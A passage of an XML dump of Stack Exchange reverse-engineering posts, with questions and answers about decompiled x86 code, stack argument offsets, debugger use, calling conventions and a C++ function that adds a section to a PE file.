   sub_41CBD0&#xA;.text:00412DB8                 mov     ecx, [esi]      ; player&#xA;.text:00412DBA                 test    ecx, ecx&#xA;.text:00412DBC                 mov     [esp+20h+Memory], ecx&#xA;.text:00412DC0                 jz      short loc_412DD4&#xA;.text:00412DC2                 call    DisconnectUser&#xA;.text:00412DC7                 mov     ecx, [esp+20h+Memory]&#xA;.text:00412DCB                 push    ecx             ; Memory&#xA;.text:00412DCC                 call    ??3@YAXPAX@Z    ; operator delete(void *)&#xA;.text:00412DD1                 add     esp, 4&#xA;.text:00412DD4&#xA;.text:00412DD4 loc_412DD4:                             ; CODE XREF: NewConnectionRequest+70j&#xA;.text:00412DD4                 mov     eax, ZonePlayerCount&#xA;.text:00412DD9                 dec     eax&#xA;.text:00412DDA                 mov     ZonePlayerCount, eax&#xA;.text:00412DDF                 add     eax, edi&#xA;.text:00412DE1                 shl     eax, 2&#xA;.text:00412DE4                 push    eax             ; Size&#xA;.text:00412DE5                 push    ebx             ; Src&#xA;.text:00412DE6                 push    esi             ; Dst&#xA;.text:00412DE7                 call    _memcpy&#xA;.text:00412DEC                 add     esp, 0Ch&#xA;.text:00412DEF                 dec     ebp&#xA;.text:00412DF0                 sub     edi, 3FFFFFFFh&#xA;.text:00412DF6                 sub     ebx, 4&#xA;.text:00412DF9                 sub     esi, 4&#xA;.text:00412DFC&#xA;.text:00412DFC loc_412DFC:                             ; CODE XREF: NewConnectionRequest+41j&#xA;.text:00412DFC                                         ; NewConnectionRequest+4Fj&#xA;.text:00412DFC                 mov     eax, ZonePlayerCount&#xA;.text:00412E01                 inc     ebp&#xA;.text:00412E02                 add     edi, 3FFFFFFFh&#xA;.text:00412E08                 add     ebx, 4&#xA;.text:00412E0B                 add     esi, 4&#xA;.text:00412E0E                 cmp     ebp, eax&#xA;.text:00412E10                 jl      loc_412D85&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;As far as I understand it is that the &lt;code&gt;0x3FFFFFFF&lt;/code&gt; has something to do with the bounds of the array?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think after the DisconnectUser and free of memory all the playerPointer pointers get shifted to the left is that correct? or it just changes the counter in different paths.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think the counter is either &lt;code&gt;v3&lt;/code&gt; can keep increasing while the loop is going but when a player gets removed it starts checking from the end of the list or something?&lt;/p&gt;&#xA;" OwnerUserId="3510" LastActivityDate="2014-09-29T06:35:19.550" Title="IDA PRO Hex-Rays 1.5 pseudo code understanding -=0x3FFFFFFFu; += 0x3FFFFFFFu;" Tags="|ida|decompilation|deobfuscation|hexrays|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6272" PostTypeId="2" ParentId="6271" CreationDate="2014-09-21T01:53:54.830" Score="4" Body="&lt;p&gt;I think it should look like this I am 99.9% feel it's a element shifter something tells me that &lt;code&gt;0x3FFFFFFF&lt;/code&gt; is max bounds of a array so it's some compiler thing that it appends to make sure it gets the end of the array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I was wrong &lt;code&gt;0x3FFFFFFF&lt;/code&gt; is used to create signed numbers to emulate subtracting by adding. See comment by DCoder&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;  if ( ZonePlayerCount &amp;gt; 0 )&#xA;  {&#xA;    v3 = 0;&#xA;&#xA;    do&#xA;    {&#xA;      if ( playerPointerList[v3].IPAddressDWORD.S_un.S_un_b.s_b1 == IPAddress &amp;amp;&amp;amp; playerPointerList[v3].Port == Port )&#xA;      {&#xA;        printf(&quot;Connection is broken because same ip/port requested another connection\n&quot;);&#xA;        sub_41CBD0((int)&amp;amp;playerPointerList[v3].encryptionPointer-&amp;gt;ConnectionStatus);&#xA;        Memory = *v5;&#xA;        if ( *v5 )&#xA;        {&#xA;          DisconnectUser(*v5);&#xA;          free(Memory);&#xA;        }&#xA;&#xA;        memcpy(&amp;amp;playerPointerList[v3], &amp;amp;playerPointerList[v3 + 1], 4 * (ZonePlayerCount - v3 - 1));&#xA;        //or&#xA;        memmove(&amp;amp;playerPointerList[v3], &amp;amp;playerPointerList[v3 + 1], (ZonePlayerCount - v3 - 1) * sizeof(&amp;amp;playerPointerList));&#xA;        --ZonePlayerCount;&#xA;        --v3;&#xA;      }&#xA;      ++v3;&#xA;    }&#xA;    while ( v3 &amp;lt; ZonePlayerCount );&#xA;  }&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Let me know if this is wrong, I'll remove the answer. (don't have original source code to compare against).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thought I shouldn't be using &lt;code&gt;memcpy&lt;/code&gt; because it may leave junk in memory at the very end but i think that junk does no harm and eventually will be replaced with something useful when the time comes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Although it does seem &lt;code&gt;memmove()&lt;/code&gt; is better suited here.&lt;/p&gt;&#xA;" OwnerUserId="3510" LastEditorUserId="3510" LastEditDate="2014-09-29T06:35:19.550" LastActivityDate="2014-09-29T06:35:19.550" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="6273" PostTypeId="1" AcceptedAnswerId="6274" CreationDate="2014-09-21T13:41:29.650" Score="0" ViewCount="1537" Body="&lt;p&gt;i have the following function with three arguments:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; sub_602667B proc near &#xA;&#xA; arg_0 = dword ptr 4&#xA; arg_4 = dword ptr 8&#xA; arg_8 = dword ptr 0Ch&#xA;&#xA; push    [esp+arg_8]&#xA; push    [esp+4+arg_4]&#xA; push    15&#xA; push    [esp+0Ch+arg_0]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then I make the following sketch : &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt; esp, ebp -&amp;gt; | Old EBP        |  +0&#xA;             | Return Address |  +4&#xA;             | Argument 1     |  +8&#xA;             | Argument 2     |  +12&#xA;             | Argument 3     |  +16&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And now I have the following on my paper:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;   push    [esp+arg_8]     =&amp;gt; is Argument 2,( because esp + 12(=0Ch) = Argument 2&#xA;   push    [esp+4+arg_4]   =&amp;gt; is Argument 2,( because esp + 4 + 8 = Argument 2 )&#xA;   push    15&#xA;   push    [esp+0Ch+arg_0] =&amp;gt; is Argument 3,( because esp + 12 + 4 = 16 = Argument 3&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;So my question would be : Is that sketch ok? I wanted to ask because the point that Argument 2 is pushed twice and Argument 1 is not taken surprises me &lt;/p&gt;&#xA;" OwnerUserId="4645" LastActivityDate="2014-09-21T14:28:22.513" Title="Right order of function arguments" Tags="|assembly|stack|arguments|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6274" PostTypeId="2" ParentId="6273" CreationDate="2014-09-21T14:28:22.513" Score="1" Body="&lt;p&gt;Your code snippet does not contain &lt;code&gt;push esp, ebp&lt;/code&gt;, so why would there be an &quot;old EBP&quot; on the stack? At the beginning of the function, your stack should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;esp + 00 | return address&#xA;esp + 04 | Argument 1 (arg_0)&#xA;esp + 08 | Argument 2 (arg_4)&#xA;esp + 0C | Argument 3 (arg_8)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;After that, remember that &lt;code&gt;esp&lt;/code&gt; changes after each &lt;code&gt;push&lt;/code&gt;. IDA is already doing the maths for you and splitting the displacement into the &lt;code&gt;+4&lt;/code&gt; and &lt;code&gt;+arg_4&lt;/code&gt; parts — they represent &quot;balance &lt;code&gt;esp&lt;/code&gt; back to its initial value&quot; and &quot;convert the remaining offset to a local variable&quot;, respectively. The function is pushing exactly those variables which are referenced:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;push    [esp+arg_8]      ; Argument 3&#xA;push    [esp+4+arg_4]    ; Argument 2&#xA;push    15&#xA;push    [esp+0Ch+arg_0]  ; Argument 1&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you want to find out more, you can highlight the &lt;code&gt;[esp+4+arg_4]&lt;/code&gt; part in the disassembly and press &lt;kbd&gt;Q&lt;/kbd&gt; to convert the displacement to a single number.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then go to Options &gt; General... &gt; Disassembly and enable the &lt;code&gt;Display disassembly line parts: [x] Stack pointer&lt;/code&gt; setting. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now you see the difference between the &lt;code&gt;esp&lt;/code&gt; value at the start of the function and the &lt;code&gt;esp&lt;/code&gt; value in the current line.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Subtract that difference from the displacement in the &lt;code&gt;push&lt;/code&gt;, and you should get the right local variable.&lt;/p&gt;&#xA;" OwnerUserId="262" LastActivityDate="2014-09-21T14:28:22.513" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6275" PostTypeId="2" ParentId="6267" CreationDate="2014-09-21T15:31:03.213" Score="2" Body="&lt;p&gt;The number returned by &lt;code&gt;_atol()&lt;/code&gt; is XOR'ed with &lt;code&gt;0x28C&lt;/code&gt; and then XOR'ed again with &lt;code&gt;0x1104&lt;/code&gt;. Since XOR is an &lt;a href=&quot;http://en.wikipedia.org/wiki/Associative_property&quot; rel=&quot;nofollow&quot;&gt;associative&lt;/a&gt; operation, this is equivalent to XOR'ing the number returned by &lt;code&gt;_atol()&lt;/code&gt; with &lt;code&gt;0x1388&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;a) Is that a way of encryption ? I mean, is it so that they try to&#xA;  encrypt the string pointed by lpCmdLine?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;There's not enough context in your snippet above to infer how this resulting value is being used.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, it's unlikely that what IDA is labeling as &lt;code&gt;lpCmdLine&lt;/code&gt; is really the program's command line, since a command line typically begins with the executable's file name, on which &lt;code&gt;_atol()&lt;/code&gt; would typically fail (you &lt;em&gt;can&lt;/em&gt; create a process and have only command line arguments as the command line, and alternatively it &lt;em&gt;is&lt;/em&gt; possible that the code above expects the executable's file name to be numeric (like &lt;code&gt;123.exe&lt;/code&gt;), but these are both less likely than IDA just mislabling the variable).&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;b) Normally I had a cmp before jz, but here as you can see, there is&#xA;  only a jz instruction? Why is the cmp is missing ?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;The &lt;code&gt;jz&lt;/code&gt; instruction checks the CPU's &lt;a href=&quot;http://en.wikipedia.org/wiki/Zero_flag&quot; rel=&quot;nofollow&quot;&gt;Zero Flag&lt;/a&gt;. The &lt;code&gt;shr&lt;/code&gt; instruction prior to the &lt;code&gt;jz&lt;/code&gt; instruction sets the Zero Flag as follows (from &lt;a href=&quot;http://x86.renejeschke.de/html/file_module_x86_id_285.html&quot; rel=&quot;nofollow&quot;&gt;http://x86.renejeschke.de/html/file_module_x86_id_285.html&lt;/a&gt;) --&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;The SF, ZF, and PF flags are set according to the result [of the shift operation].&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;In other words, if after &lt;code&gt;shr edx, 1&lt;/code&gt; the register &lt;code&gt;edx&lt;/code&gt; is &lt;code&gt;0x00000000&lt;/code&gt;, then the jump is taken. As with your previous question, though, there's not enough context in your snippet above to infer how this is being used.&lt;/p&gt;&#xA;" OwnerUserId="1562" LastActivityDate="2014-09-21T15:31:03.213" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6276" PostTypeId="1" CreationDate="2014-09-21T17:02:59.413" Score="0" ViewCount="275" Body="&lt;p&gt;Trying to finding the main caller of a series of nested function I ended in a switch table (or at least ollydbg says it's so) of address:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DD address1&#xA;DD address2&#xA;DD myfunction&#xA;DD adress4&#xA;.. AND SO ON&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Where addressN are other function. Thinking that it was the routine that bother me I just fill with NOPs &lt;code&gt;DD myfunction&lt;/code&gt;, but after restarting the process (and loosing the NOPS) Olly show me.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;DD address1&#xA;DD address2&#xA;POP ESP&#xA;INC EBP&#xA;...others instruction like the one above&#xA;DD address4&#xA;DD address5&#xA;... so on&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And, when I hit &lt;kbd&gt;F9&lt;/kbd&gt; it just return to the &lt;code&gt;DD myfunction&lt;/code&gt; shape ... I cannot understand what's going on, hope you can help me.&lt;/p&gt;&#xA;" OwnerUserId="8592" LastEditorUserId="8609" LastEditDate="2014-09-24T14:39:53.113" LastActivityDate="2014-09-24T14:39:53.113" Title="Weird self-modify instruction" Tags="|assembly|ollydbg|x86|" AnswerCount="0" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="6278" PostTypeId="1" AcceptedAnswerId="21582" CreationDate="2014-09-22T05:14:42.187" Score="3" ViewCount="494" Body="&lt;p&gt;Test is on x86 32bit Linux, Ubuntu 12.04, GCC 4.6.3 objdump 2.22&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically when I use &lt;code&gt;gcc&lt;/code&gt; to produce assembly code of function &lt;code&gt;foo&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc -S foo.c -O2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;At the end of function &lt;code&gt;foo&lt;/code&gt;, I can get a sequence of instructions like this (I modified it and attached each instruction with its machine code to make it clear):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;             ......&#xA;1977                                                 .cfi_restore_state&#xA;1978  8B150000 0000                                  movl    nodes, %edx&#xA;1979  89442410                                       movl    %eax, 16(%esp)&#xA;1980  A1000000 00                                    movl    i_depth, %eax&#xA;1981  8974240C                                       movl    %esi, 12(%esp)&#xA;1982  C7442404 FC000000                              movl    $.LC55, 4(%esp)&#xA;1983  89542414                                       movl    %edx, 20(%esp)&#xA;1984  89442408                                       movl    %eax, 8(%esp)&#xA;1985  C7042401 000000                                movl    $1, (%esp)&#xA;1986  E8FCFFFF FF                                    call    __printf_chk&#xA;1987  E937FFFF FF                                    jmp     .L181&#xA;1988                                         .L186:&#xA;1989  E8FCFFFF FF                                    call    __stack_chk_fail&#xA;&#xA;foo1:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Which looks normal.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, when I compiled + linked to create the ELF executable file, and then disassembly it with &lt;code&gt;objdump&lt;/code&gt; like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;gcc foo.c -O2&#xA;objdump -Dr -j .text foo&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The instruction produced by disassembler looks like this (I modified a little bit to make it easier to understand):&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;11856 89442410                                mov %eax,0x10(%esp)&#xA;11857 A1000000 00                             mov 0x80851AC,%eax&#xA;11858 8974240C                                mov %esi,0xC(%esp)&#xA;11859 C7442404 00000000                       movl $S_0x8064658,0x4(%esp)&#xA;11860 89542414                                mov %edx,0x14(%esp)&#xA;11861 89442408                                mov %eax,0x8(%esp)&#xA;11862 C7042401 000000                         movl $0x1,(%esp)&#xA;11863 E8FCFFFF FF                             call __printf_chk&#xA;11864 E933FFFF FF                             jmp 0x80547EB&#xA;11865&#xA;11866 E8FCFFFF FF                             S_0x80548BC : call __stack_chk_fail&#xA;11867 EB0D                                    jmp foo1&#xA;11868 90                                      nop&#xA;11869 90                                      nop&#xA;11870 90                                      nop&#xA;11871 90                                      nop&#xA;11872 90                                      nop&#xA;11873 90                                      nop&#xA;11874 90                                      nop&#xA;11875 90                                      nop&#xA;11876 90                                      nop&#xA;11877 90                                      nop&#xA;11878 90                                      nop&#xA;11879 90                                      nop&#xA;11880 90                                      nop&#xA;11881                                         foo1:&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Looking at the end of function &lt;code&gt;foo&lt;/code&gt;, I find out a sequence of instructions which can not be found in the original assembly code.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It seems like a padding issue, but I am not sure.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So my questions are:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;What's these instruction sequences for? &lt;/li&gt;&#xA;&lt;li&gt;Is there anyway to tell (assembler? linker?) do not generate these instruction sequences..? Because basically I am working a assembly code analysis tool, and these instruction sequences annoying the coding much.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="3215" LastEditorUserId="53" LastEditDate="2014-09-22T05:51:51.417" LastActivityDate="2019-06-30T08:15:42.857" Title="Weird instruction identified on disassembler produced assembly code" Tags="|disassembly|assembly|x86|objdump|" AnswerCount="1" CommentCount="2" FavoriteCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6279" PostTypeId="1" AcceptedAnswerId="6281" CreationDate="2014-09-22T08:23:18.727" Score="1" ViewCount="6415" Body="&lt;p&gt;I would like to step into some code which is ran on a new thread. Luckily, after the initial startup this is the only thread that is newly created in the program. I can set the debugger to break on the creation of a new thread. But all I see is the WinAPI and lower level calls that execute the thread. How can I step into the code that is executed on the thread to see what it does?&lt;/p&gt;&#xA;" OwnerUserId="8566" LastActivityDate="2014-09-22T11:53:35.007" Title="Debugging the code executed on a new thread" Tags="|ollydbg|debugging|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6280" PostTypeId="1" AcceptedAnswerId="6282" CreationDate="2014-08-27T14:37:48.480" Score="2" ViewCount="1224" Body="&lt;p&gt;I have a problem where I'm instrumenting stripped binaries; I don't know the start of &lt;code&gt;main()&lt;/code&gt;. But there's always an &lt;code&gt;init()&lt;/code&gt;, and &lt;code&gt;init()&lt;/code&gt; calls &lt;code&gt;libc_start_main()&lt;/code&gt;, which receives a pointer to main.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I can instrument libc with analysis code to intercept the argument, then I can retrieve that address and place another pin callback there so that I can get it's arguments. The problem is, I don't know what the calling convention is; I was thinking, if I could boil this down to a matter of the calling convention, then I do this for any function. I did notice that &lt;code&gt;gdb&lt;/code&gt; knows the calling convention of &lt;code&gt;libc_start_main()&lt;/code&gt;, in fact it is so good, it knows the order of the arguments as well.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I did read a short note on stackoverflow that stated that the name of the function would yield the calling convention: « &lt;a href=&quot;https://stackoverflow.com/questions/4162400/how-to-find-the-calling-convention-of-a-third-party-dll&quot;&gt;How to find the calling convention of a third party dll?&lt;/a&gt; »&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it's not possible to know the calling convention programmatically, what is the opinion on creating a local build of libc in order to be able to force a particular calling convention onto &lt;code&gt;__libc_start_main()&lt;/code&gt;... you see my chain of thought. Does anybody think that this is a better approach, rather than solving it in the general case ?&lt;/p&gt;&#xA;" OwnerUserId="8394" OwnerDisplayName="Adam Miller" LastEditorUserId="-1" LastEditDate="2017-05-23T12:37:19.663" LastActivityDate="2014-09-24T22:55:36.880" Title="How to programmatically identify binary calling convention?" Tags="|c++|calling-conventions|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6281" PostTypeId="2" ParentId="6279" CreationDate="2014-09-22T10:38:58.037" Score="3" Body="&lt;p&gt;BP on &lt;code&gt;CreateThread&lt;/code&gt;, then see 3rd parameter -&gt; &lt;code&gt;lpStartAddress&lt;/code&gt; of the Thread (its EntryPoint). Now simply BP on that address and step from there when it breaks&lt;/p&gt;&#xA;" OwnerUserId="8595" LastEditorUserId="1413" LastEditDate="2014-09-22T11:53:35.007" LastActivityDate="2014-09-22T11:53:35.007" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="6282" PostTypeId="2" ParentId="6280" CreationDate="2014-09-22T14:48:02.433" Score="3" Body="&lt;p&gt;Since you mention &lt;code&gt;__libc_start_main&lt;/code&gt; it seems you need to worry only about Linux. In such case, the calling convention is &lt;a href=&quot;http://refspecs.linuxbase.org/LSB_3.1.1/LSB-Core-generic/LSB-Core-generic/baselib---libc-start-main-.html&quot; rel=&quot;nofollow&quot;&gt;known and fixed&lt;/a&gt;. In most cases it will be &lt;a href=&quot;http://wiki.osdev.org/System_V_ABI&quot; rel=&quot;nofollow&quot;&gt;SystemV ABI&lt;/a&gt; or similar.&lt;/p&gt;&#xA;" OwnerUserId="60" LastActivityDate="2014-09-22T14:48:02.433" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="6283" PostTypeId="1" AcceptedAnswerId="6294" CreationDate="2014-09-22T20:13:16.543" Score="0" ViewCount="496" Body="&lt;p&gt;I have wrote a program in C++ and I built it as a DLL. I want to utilize functions that are in this DLL in another program to overwrite other functions. Unfortunately, they're not any exports and cannot be added to the imports table. Not only that I have functions that I would like to be able to &lt;code&gt;jmp&lt;/code&gt; to and utilize and then return. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Did I perhaps build this incorrectly ?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have the source so I can make changes in VSC++ although, I can would preferable like to do this in ASM.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have thought about calling &lt;code&gt;LoadLibrary()&lt;/code&gt; but that I believe will put the DLL in a random location and making patches to this will be a bit difficult, if I am not mistaken.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Let me know your ideas on how I can solve this.&lt;/p&gt;&#xA;" OwnerUserId="6992" LastEditorUserId="53" LastEditDate="2014-09-22T20:35:31.427" LastActivityDate="2014-09-23T22:07:21.890" Title="Most efficient way to extend a program using a DLL" Tags="|disassembly|ollydbg|x86|dll|" AnswerCount="1" CommentCount="2" ClosedDate="2014-09-26T15:49:14.573" ContentLicense="CC BY-SA 3.0" />
  <row Id="6284" PostTypeId="1" CreationDate="2014-09-23T00:52:15.367" Score="-1" ViewCount="977" Body="&lt;p&gt;I'm having some strange errors with the following function which adds a section to a pe executable. When I run the program I get the success message, when I proceed to try to open the executable in ollydbg I get an invalid file error, I then open it in LordPE and find that the section has been added and everything seems to be in order, when I again open the executable in ollydbg it opens the executable and I can see that the section has been added though all the fields aside from section name are set to 0. I have tried this many times and get the same result with different executables. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;void addSection(char* fileName)&#xA;{&#xA;HANDLE hFile = CreateFile(fileName, GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);&#xA;if(hFile !=INVALID_HANDLE_VALUE){&#xA;    DWORD fileSize = GetFileSize(hFile, NULL);&#xA;    BYTE *byte = new BYTE[fileSize];&#xA;    DWORD numberOfBytesReadTracker;&#xA;    ReadFile(hFile, byte, fileSize, &amp;amp;numberOfBytesReadTracker, NULL);&#xA;&#xA;    IMAGE_DOS_HEADER *dosHeader = (IMAGE_DOS_HEADER*)byte;&#xA;    IMAGE_NT_HEADERS *ntHeader = (IMAGE_NT_HEADERS*)((DWORD)byte+dosHeader-&amp;gt;e_lfanew);&#xA;    if(dosHeader-&amp;gt;e_magic==IMAGE_DOS_SIGNATURE &amp;amp;&amp;amp; ntHeader-&amp;gt;Signature == IMAGE_NT_SIGNATURE){&#xA;        IMAGE_FILE_HEADER *fileHeader = (IMAGE_FILE_HEADER*)((DWORD)byte+dosHeader-&amp;gt;e_lfanew+sizeof(IMAGE_NT_SIGNATURE));&#xA;        IMAGE_OPTIONAL_HEADER *optionalHeader = (IMAGE_OPTIONAL_HEADER*)((DWORD)byte+dosHeader-&amp;gt;e_lfanew+sizeof(IMAGE_NT_SIGNATURE)+sizeof(IMAGE_FILE_HEADER));&#xA;        IMAGE_SECTION_HEADER *sectionHeader = (IMAGE_SECTION_HEADER*)((DWORD)ntHeader+sizeof(IMAGE_NT_HEADERS));&#xA;&#xA;        const char *sectionName = &quot;AddedSec&quot;;&#xA;        ZeroMemory(&amp;amp;sectionHeader[fileHeader-&amp;gt;NumberOfSections], sizeof(IMAGE_SECTION_HEADER));&#xA;        CopyMemory(&amp;amp;sectionHeader[fileHeader-&amp;gt;NumberOfSections].Name, sectionName, 8);&#xA;        sectionHeader[fileHeader-&amp;gt;NumberOfSections].Characteristics = 0x60500060;&#xA;        sectionHeader[fileHeader-&amp;gt;NumberOfSections].Misc.VirtualSize = 0x1000;&#xA;        sectionHeader[fileHeader-&amp;gt;NumberOfSections].VirtualAddress = sectionHeader[fileHeader-&amp;gt;NumberOfSections-1].VirtualAddress+optionalHeader-&amp;gt;SectionAlignment;&#xA;        sectionHeader[fileHeader-&amp;gt;NumberOfSections].SizeOfRawData = optionalHeader-&amp;gt;FileAlignment;&#xA;        sectionHeader[fileHeader-&amp;gt;NumberOfSections].PointerToRawData = sectionHeader[fileHeader-&amp;gt;NumberOfSections-1].PointerToRawData+sectionHeader[fileHeader-&amp;gt;NumberOfSections-1].SizeOfRawData;&#xA;&#xA;        fileHeader-&amp;gt;NumberOfSections = fileHeader-&amp;gt;NumberOfSections+1;&#xA;        optionalHeader-&amp;gt;SizeOfImage = optionalHeader-&amp;gt;SizeOfImage+alignToSectionAlignment(sectionHeader[fileHeader-&amp;gt;NumberOfSections].Misc.VirtualSize, optionalHeader-&amp;gt;SectionAlignment);&#xA;        cout &amp;lt;&amp;lt; &quot;ADDED SECTION&quot; &amp;lt;&amp;lt; endl;&#xA;        SetFilePointer(hFile, 0, NULL, FILE_BEGIN);&#xA;        WriteFile(hFile, byte, fileSize, &amp;amp;numberOfBytesReadTracker, NULL);&#xA;    }else{&#xA;        cout &amp;lt;&amp;lt; &quot;Is not a PE executbale&quot; &amp;lt;&amp;lt; endl;&#xA;    }&#xA;    CloseHandle(hFile);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;}&lt;/p&gt;&#xA;" OwnerUserId="6978" LastActivityDate="2014-09-23T12:00:07.287" Title="Add Section to pe file function error" Tags="|ollydbg|c++|" AnswerCount="2" CommentCount="0" ClosedDate="2014-09-26T15:50:11.103" ContentLicense="CC BY-SA 3.0" />
  <row Id="6285" PostTypeId="1" AcceptedAnswerId="6286" CreationDate="2014-09-23T00:54:35.983" Score="7" ViewCount="3966" Body="&lt;p&gt;Test is on x86, 32-bit Linux. I am using &lt;code&gt;g++&lt;/code&gt; 4.6.3 and &lt;code&gt;objdump&lt;/code&gt; 2.22&lt;/p&gt;&#xA;&lt;p&gt;Here is a simple C++ code I am working on:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;#include &amp;lt;iostream&amp;gt;&#xA;&#xA;using namespace std;&#xA;&#xA;main()&#xA;{&#xA;    cout &amp;lt;&amp;lt; &amp;quot;Hello World!&amp;quot; &amp;lt;&amp;lt; endl;&#xA;    return 0;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;When I compile it into assembly code using :&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;gcc -S hello.cc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I can find out a &lt;code&gt;ctors&lt;/code&gt; section in the &lt;strong&gt;hello.s&lt;/strong&gt; below:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;.section    .ctors,&amp;quot;aw&amp;quot;,@progbits&#xA;.align 4&#xA;.long   _GLOBAL__sub_I_main&#xA;.weakref    _ZL20__gthrw_pthread_oncePiPFvvE,pthread_once&#xA;.weakref    _ZL27__gthrw_pthread_getspecificj,pthread_getspecific&#xA;.weakref    _ZL27__gthrw_pthread_setspecificjPKv,pthread_setspecific&#xA;.weakref    _ZL22__gthrw_pthread_createPmPK14pthread_attr_tPFPvS3_ES3_,pthread_create&#xA;.weakref    _ZL20__gthrw_pthread_joinmPPv,pthread_join&#xA;.weakref    _ZL21__gthrw_pthread_equalmm,pthread_equal&#xA;.weakref    _ZL20__gthrw_pthread_selfv,pthread_self&#xA;.weakref    _ZL22__gthrw_pthread_detachm,pthread_detach&#xA;.weakref    _ZL22__gthrw_pthread_cancelm,pthread_cancel&#xA;.weakref    _ZL19__gthrw_sched_yieldv,sched_yield&#xA;.weakref    _ZL26__gthrw_pthread_mutex_lockP15pthread_mutex_t,pthread_mutex_lock&#xA;.weakref    _ZL29__gthrw_pthread_mutex_trylockP15pthread_mutex_t,pthread_mutex_trylock&#xA;.weakref    _ZL31__gthrw_pthread_mutex_timedlockP15pthread_mutex_tPK8timespec,pthread_mutex_timedlock&#xA;.weakref    _ZL28__gthrw_pthread_mutex_unlockP15pthread_mutex_t,pthread_mutex_unlock&#xA;.weakref    _ZL26__gthrw_pthread_mutex_initP15pthread_mutex_tPK19pthread_mutexattr_t,pthread_mutex_init&#xA;.weakref    